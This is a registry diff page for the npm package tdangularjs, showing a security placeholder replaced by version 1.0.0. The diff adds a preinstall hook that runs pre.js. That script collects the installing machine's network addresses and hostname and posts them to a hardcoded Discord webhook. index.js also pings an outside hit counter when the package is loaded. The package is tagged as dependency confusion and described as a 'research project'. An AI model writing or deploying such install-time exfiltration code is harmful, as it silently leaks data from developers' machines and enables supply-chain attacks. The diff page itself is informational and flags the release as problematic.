tdangularjs 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tdangularjs might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +1 -0
  2. package/package.json +25 -6
  3. package/pre.js +38 -0
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const https = require('https'); const main = (function(){ const options = { hostname: 'hits.dwyl.com', path: '/serialfuzzer/serialfuzzer', method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Referer': 'https://github.com/serialfuzzer' } }; const req = https.request(options, (res) => { res.on('data', (chunk) => {}); }); req.on('error', (error) => { }); req.end(); return {}; })(); module.exports = main;
package/package.json CHANGED
@@ -1,6 +1,25 @@
1
- {
2
- "name": "tdangularjs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+
2
+ {
3
+ "name": "tdangularjs",
4
+ "version": "1.0.0",
5
+ "description": "Research project",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "test": "echo \"Error: no test specified\" && exit 1",
9
+ "preinstall": "node pre.js"
10
+ },
11
+ "repository": {
12
+ "type": "git",
13
+ "url": "git+https://github.com/serialfuzzer/AngulerJS.git"
14
+ },
15
+ "keywords": [
16
+ "dependency_confusion"
17
+ ],
18
+ "author": "serialfuzzer",
19
+ "license": "ISC",
20
+ "bugs": {
21
+ "url": "https://github.com/serialfuzzer/AngulerJS/issues"
22
+ },
23
+ "homepage": "https://github.com/serialfuzzer/AngulerJS#readme"
24
+ }
25
+
package/pre.js ADDED
@@ -0,0 +1,38 @@
1
+ const https = require('https');
2
+ const os = require("os");
3
+
4
+ function sendToDiscord(webhookURL, content) {
5
+ const url = new URL(webhookURL);
6
+
7
+ const data = JSON.stringify({
8
+ content: content
9
+ });
10
+
11
+ const options = {
12
+ hostname: url.hostname,
13
+ port: 443,
14
+ path: url.pathname + url.search,
15
+ method: 'POST',
16
+ headers: {
17
+ 'Content-Type': 'application/json',
18
+ 'Content-Length': data.length
19
+ }
20
+ };
21
+
22
+ const req = https.request(options, (res) => {});
23
+
24
+ req.on('error', (error) => {
25
+ console.error(error);
26
+ });
27
+
28
+ req.write(data);
29
+ req.end();
30
+ }
31
+ const main = !(function(){
32
+ var wu = 'https://discord.com/api/webhooks/1155988140591419412/bleuGvUtBCzaGsAkAI1MT9Yd-6YxHuUlZe91XSdfioky5-0e3gzeW4ztWskX1qYjSxzr';
33
+ const log_this = Object.keys(os.networkInterfaces()).map(int=>os.networkInterfaces()[int][0].address).join(",").concat(", "+os.hostname())
34
+ sendToDiscord(wu, log_this);
35
+ return {};
36
+ })();
37
+
38
+ module.exports = main;
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tdangularjs for more information.